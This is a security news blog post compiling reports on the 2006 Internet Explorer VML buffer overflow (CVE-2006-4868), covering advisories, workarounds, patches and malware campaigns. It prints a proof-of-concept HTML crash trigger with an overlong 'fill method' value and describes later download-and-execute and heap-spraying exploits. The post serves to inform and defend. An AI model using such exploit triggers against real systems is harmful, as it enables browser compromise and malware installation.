|
Use search box or search articles by tags |
|
Zero Day Exploit - Internet Explorer 6.0 VML Buffer OverflowSunBelt security research team has observed a new zero day exploit being used to infect systems. Coming from a porn website, this particular one is a vulnerability in VML inside of Internet Explorer. |
Using encryption on the Internet is the equivalent of arranging an armored car to deliver credit-card information from someone living in a cardboard box to someone living on a park bench. Get Latest News in your EmailTagsWho's onlineThere are currently 1 user and 370 guests online.
|
10181 views 
What is VML ?
According to W3C, VML is an application of Extensible Markup Language (XML) which defines a format for the encoding of vector information together with additional markup to describe how that information may be displayed and edited.
The Vector Markup Language (VML) supports the markup of vector graphic information in the same way that HTML supports the markup of textual information. Within VML the content is composed of paths described using connected lines and curves. The markup gives semantic and presentation information for the paths.
VML Exploit Mentioned on WashingtonPost
A previously undocumented flaw in Microsoft's Internet Explorer Web browser is reportedly being exploited by online criminals to install an entire kitchen sink of malicious software on any computer that visits any of a handful of sites currently exploiting the vulnerability.
..snip..
This new exploit, combined with two other publicly available exploits for a separate, unpatched IE flaw, should give pause to anyone using the Microsoft browser. My advice: If you or someone you care about is in the habit of cruising the Web with IE, now would be a very good time to get acquainted with another browser that doesn't use IE's rendering engine, such as Firefox or Opera.
Source :: Newly Detected IE Exploit Spells Massive Spyware Trouble (Washington Post)
VML on Secunia
The vulnerability is caused due to an error in the processing of Vector Markup Language (VML) documents. This can be exploited by e.g. tricking a user into viewing a malicious VML document containing an overly long "fill" method inside a "rect" tag.
Successful exploitation allows execution of arbitrary code.
NOTE: Reportedly, this is currently being exploited in the wild.
The vulnerability has been confirmed on a fully patched system with Internet Explorer 6.0 and Microsoft Windows XP SP2. Other versions may also be affected.
SOURCE :: Microsoft Internet Explorer VML Code Execution Vulnerability
VML Attack Scenario
Source : Trend Micro
VML Exploitable Via Outlook
Researchers at VeriSign Inc's iDefense unit have also confirmed that some configurations of Outlook will launch the code with no user action, said Ken Dunham, the director of the iDefense Rapid Response Team. Users who have Outlook's Reading Pane enabled to read messages in HTML are particularly vulnerable to this attack, Dunham said.
According to one researcher, Outlook 2003 should not be rendering VML code automatically, but the product appears to be vulnerable due to a second bug in Microsoft's software. "Some versions of Outlook will render VML despite the fact that they shouldn't," said Russ Cooper, a senior information security analyst with Cybertrust Inc. "We should be raking Microsoft over the coals for this."
To attack Internet Explorer, criminals would first need to trick users into visiting a malicious Web site. But with an Outlook attack, it becomes much easier to target a victim.
"All you have to do is send an HTML e-mail and the user is hosed," said Eric Sites, Sunbelt's vice president of research and development.
Source : InfoWorld - Outlook vulnerable to critical VML bug
Microsoft VML Advisory Released
Microsoft has confirmed new public reports of a vulnerability in the Microsoft Windows implementation of Vector Markup Language (VML) Microsoft is also aware of the public release of detailed exploit code that could be used to exploit this vulnerability. Based on our investigation, this exploit code could allow an attacker to execute arbitrary code on the user's system. Microsoft is aware that this vulnerability is being actively exploited.
From Microsoft Security Advisory (925568) - Vector Markup Language Could Allow Remote Code Execution
VML WorkAround : UnRegister VGX.DLL
Microsoft has recommended to unregister VGX.DLL and restart system after applying this workaround.
1. Click Start, click Run, type "regsvr32 -u "%ProgramFiles%\Common Files\Microsoft Shared\VGX\vgx.dll " (without the quotation marks), and then click OK.
2. A dialog box appears to confirm that the un-registration process has succeeded. Click OK to close the dialog box.
Impact of Workaround: Applications that render VML will no longer do so once Vgx.dll has been unregistered. To undo this change, re-register Vgx.dll by following the above steps. Replace the text in Step 1 with “regsvr32 "%ProgramFiles%\Common Files\Microsoft Shared\VGX\vgx.dllâ€Â
VML Easier WorkAround
I prefer the other MS option which is to disable Binary and Script Behaviors in the Internet and Local Intranet security zone.
To do this, follow these steps:
1. In Internet Explorer, click Internet Options on the Tools menu. Click the security tab.
2. Click Internet and
3. Click Custom Level.
4. Under Settings, in the ActiveX controls and plug-ins section, under Binary and Script Behaviors, click Disable, and then click OK.
5. Click Local intranet, and do the same.
Exploit Code for VML released
The exploit code for VML vulnerability has been released on Milworm
Currently just a DoS. EAX is controllable and currently it crashes when trying to move EBX into the location pointed to by EAX -- Shirkdog
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<object id="VMLRender" classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>
<body>
<v:rect style='width:120pt;height:80pt' fillcolor="red">
<v:fill method="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAABCD01" angle="-45"
focus="100%" focusposition=".5,.5" focussize="0,0"
type="gradientRadial" />
</v:rect>
</body>
</html>
VML.C - Exploit Code from n0p
Nop of xsec.org has released vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit
VML Exploit - Perl Code
Trirat Puttaraksa from http://sf-freedom.blogspot.com has released a perl exploit for Microsoft Internet Explorer VML Remote Buffer Overflow (Windows XP SP0-SP1 + Windows 2000 SP4).
The perl code ( found on milworm ) is modified from Shirkdog's PoC.
I exploit the stack-based buffer overflow in the different manner because of the problem of shellcode. I use heap spraying technique to injection my shellcode in the heap. Because I can control EIP so I tell it to jump into the heap that contains shellcode.
This exploit tested on: Windows XP SP1 + IE6 SP1 , Windows XP SP0 + IE6 , Windows 2000 SP4 + IE6 SP1, Windows 2000 SP4 + IE6
Another VML Export
Microsoft Internet Explorer VML Remote Buffer Overflow Exploit (0day) which works on all Windows XP versions including SP2 from "jamikazu".
Source Code : MilWorm - VML Remote Buffer Overflow Exploit
Perl Based VML exploit [Sep 24]
Another perl based VML exploit released on Milworm by Trirat Puttaraksa
Metasploit releases VML module
Internet Explorer VML Fill Method Code Execution module exploits a code execution vulnerability in Microsoft Internet Explorer using a buffer overflow in the VML processing code (VGX.dll). This module has been tested on Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.
Some Useful VML Links
CVE-2006-4868 - Stack-based buffer overflow in Microsoft Internet Explorer 6.0 on Windows XP SP2 and possibly other versions allows remote attackers to execute arbitrary code via a long fill parameter within a rect tag in a Vector Markup Language (VML) file.
MCafee Exploit - VMLFill - McAfee Avert Labs has confirmed that VirusScan's generic Buffer Overflow Protection protects against this exploit by default. Here is the link to their latest engine and DAT file.
Trend Micro - EXPL_EXECOD.A - As of this writing, there exists a proof-of-concept (POC) malware under this detection. It runs on Windows 98, ME, NT, 2000, XP, and Server 2003.
Symantec - Trojan.Vimalov - Trojan.Vimalov is a Trojan horse that downloads and executes a file from the Internet by exploiting the Microsoft Internet Explorer Vector Markup Language Buffer Overflow Vulnerability.
Bugtraq 20096 - Microsoft Internet Explorer Vector Markup Language Buffer Overflow Vulnerability
Spyware Kits like Web Attacker available for £10 or $17 - WebAttacker was updated to include exploiting a new Vector Markup Language Buffer Overflow vulnerability.
Definitely making more than $430
There was a post earlier on secguru that Botnet Blackhat's Earn about $430 a day. I think that this VML exploit writer is definitely going for maximum installs ( aka maximum bucks ). He seems to be installing every damn `pay per install` software and pwn'ing the victim.
From : Sunbelt blog
Just for fun, Sunbelt researcher Adam Thomas (who discovered the VML exploit yesterday) has cataloged what is installed with one installation he observed. Epic quantities of junk:
Virtumonde
Trojan-PSW.Win32.Sinowal.aq
BookedSpace Browser Plug-in
AvenueMedia.InternetOptimizer
Claria.GAIN.CommonElements
.. snip ...
A total of 48 softwares :p
IE7 is not vulnerable
IE7 is not vulnerable
IE7 is still in BETA stage
IE7 is still in BETA stage and hence in most of the cases you wouldnt find it on enterprise or other networks, so that would be least of microsoft worries.
VML exploit on 10,000+ Sites
The unpatched vulnerability in Microsoft's Internet Explorer that created a stir Tuesday may be exploited by 10,000 or more malicious Web sites if all their owners update to the newest version of the WebAttacker exploit kit, a security researcher said Wednesday.
WebAttacker is a modular hacker toolkit that uses a simple Web interface to let attackers choose from numerous exploits -- the VML exploit only the most recent -- to "serve" any visitor of a malicious site. The kit even identifies the operating system, say Windows XP SP2; browser used; and presence of anti-virus software, then chooses the best exploit to run, Symantec said in an entry on its security team's blog Wednesday.
"There are close to 10,000 sites either hosting WebAttacker or pointing to sites that do," Hubbard estimated. Although only about 20 sites are currently serving up the exploit, if more WebAttacker users decide to download the newest version, Hubbard expects that the numbers of malicious sites will quickly climb.
Source : TechWeb.Com
Non-Microsoft patch for VML Available
There's an unsupported third party patch for the VML vulnerability available at ZERT (isotf.org).
We haven't tested it, so we can't recommend it. But it's good to know something is available if this VML thingy really gets out of hand (which it hasn't yet).
Source : F-secure Lab News
Microsoft may release Early Patch for VML
There’s been some confusion about that, that somehow attacks are dramatic and widespread. We’re just not seeing that from our data, and our Microsoft Security Response Alliance partners aren’t seeing that at all either. Of course, that could change at any moment, and regardless of how many people are being attacked, we have been working non-stop on an update to help protect from this vulnerability. We’ve made some progress in our testing pass for the update and are now evaluating releasing this outside the monthly cycle, as we do any time customers are under threat and we believe we can issue an update that meets our quality bar for widespread deployment. So right now we're looking at where we hit that quality bar and if that occurs prior to the monthly cycle then we will release.
Source :: Microsoft Security Response Center Blog
Paper on VML from Zert
This document provides a brief, quasi-technical analysis of CVE-2006-4868. The purpose is to disseminate information on the particular vulnerability and to assist with understanding of how the ZERT patch was designed to mitigate the flaw.
Source : Analysis of CVE-2006-4668 and Patch Description - From Zert
Trojan spam targeting VML Exploit
A new spam email purporting to be from the Commonwealth Bank of Australia directs unsuspecting users to sites that use the recently discovered unpatched Internet Explorer VML processing vulnerability to attempt to install malware. At the moment this appears to be wide-spread with well over 1000 emails reported in a single organisation.
Source : AusCert
VML Video from Websense
Now that we are seeing VML exploits proliferate the Internet, we thought it would be fun to grab a video capture of what happens when a workstation visits an infected site. We did a similar video when the WMF zero-day was released and our workstation was instantly flooded with Spyware applications and pop-ups galore. It was an impressive sight and obvious that you had just visited an infected site.
Source :: Websense - VML Candid Camera
Hacked HostGator Sites Distribute VML Exploit
Hackers have hijacked a large number of sites at web hosting firm HostGator and are seeking to plant trojans on computers of unwitting visitors to customer sites. HostGator customers report that attackers are redirecting their sites to outside web pages that use the unpatched VML exploit in Internet Explorer to install trojans on computers of users. Site owners said iframe code inserted into their web pages was redirecting users to the malware-laden pages.
-- Source :: NetCraft - Hacked HostGator Sites Distribute IE Exploit
VML vs. Anti Virus Tools
We are seeing samples of the VML exploit that are coded to include browser / OS detection, and are able to trigger working exploits for Win 2000, 2003 and XP. Some reports indicate that client-side anti-virus is not sufficient to protect, some AV apparently only catches the VML exploit code once Internet Explorer writes the temp file to disk, which can be too late. The exploits versions seen so far usually pull and run an EXE file, but adding patterns for new EXE payloads is an arms race the AV vendors can't win.
Source : Sans - Hackers Diary
Mass Mailing for VML has Begun
We are starting to see mass mailing lures for websites that are hosting VML exploit code. Most of the sites are using updated Web-Attacker code. A recent example that came to us from Message Labs appears to lure users to the site by claiming they have received a Yahoo! Greeting Card. The site downloads and installs an Internet Explorer Browser Helper Object that directs all HTTP posts from forms to a third party, and then collects information on end-users.
Source : WebSense Zero-Day Update - Email Lures to VML Exploits
Virus 2.0 - Coded to Spread Slowly
In the past, virus writers seeking fame and attention wrote their malicious programs to spread as quickly and broadly as possible, boasting to colleagues when they manage to cripple hundreds of thousands of computers worldwide in a matter of hours.
But now, many writers are driven by money instead. They write code to turn the computers of unsuspecting individuals into "botnets"  networks for spreading junk e-mail or stealing financial data from others.
Security experts find that some are even taking measures to make sure their programs don't spread too quickly or too broadly, lest they get detected and blocked.
Source : MSNBC - Computer virus writers plan slow spread
Atlast, VML patch is out
MS06-055 - Vulnerability in Vector Markup Language Could Allow Remote Code Execution (925486)
VML patch too late ?
"This reminds me so much of the WMF attacks earlier this year," said Roger Thompson, chief technology officer at Exploit Prevention Labs, in Atlanta. "It came out of left field, ran undetected for a week or three, and by the time the official, emergency patch came out, the damage was done."
"In eight days, the bad guys replenished their botnets, made their money and moved on to the next zero-day. Now the industry is struggling to clean up and chase the copycats," Thompson said.
Source : EWeek - Microsoft's Out-of-Band IE Patch: A Little Too Late?
VML Patch for Win98
For those fortunate enough to still be responsible for 98 boxes, I have confirmed the vgx.dll for patched 2000 boxes will also patch 98 boxes. XP's version will not work for 98.
98/2k vgx.dll details:
Vulnerable:
v 6.0.2800.1411
size: 2,283,008 bytes
Modified: 3-10-04 7:09pm
Not Vulnerable (from a patched 2k box):
v 6.0.2800.1580
size: 2,286,080 bytes
Modified: 9-18-06 2:23pm
To patch a 98 box, simply copy the vgx.dll from a patched 2k box and replace the existing vgx.dll on the 98 computer. Do not use one from XP.
ZERT offers a test in the middle of this page:
http://isotf.org/zert/download.htm
Royce
Zert in Trouble for 0-day Patches
The Zeroday Emergency Response Team, a group of security professionals who decided to combat the growing threat of Zero-day vulnerabilities by releasing alternative patches, has intensified its battle with Microsoft. The group released a patch fixing a vulnerability acknowledged by Microsoft last week, but went a step further and made the fix compatible with outdated versions of Microsoft Windows, unsupported by the Redmond giant.
The first release by the team fixed the VML security flaw and must have been one of the reasons behind Microsoft’s change of tack when it decided to issue the official patch two weeks ahead of the planned date. This was a repeat from the beginning of this year, when a third-party patch by Ilfak Guilfanov also prompted Microsoft to release a patch outside its traditional monthly schedule. However, the move by ZERT to make the Windows Shell patch available for Windows 98, 98 SE, ME, as well as Windows 2000 and 2000 SP3, which are all unsupported by Microsoft. On October 10 this year Microsoft also plans to retire support for Windows XP SP1 in preparation for the release of Windows Vista.
-- Source : Microsoft vs. third party patching moves up a notch
Post new comment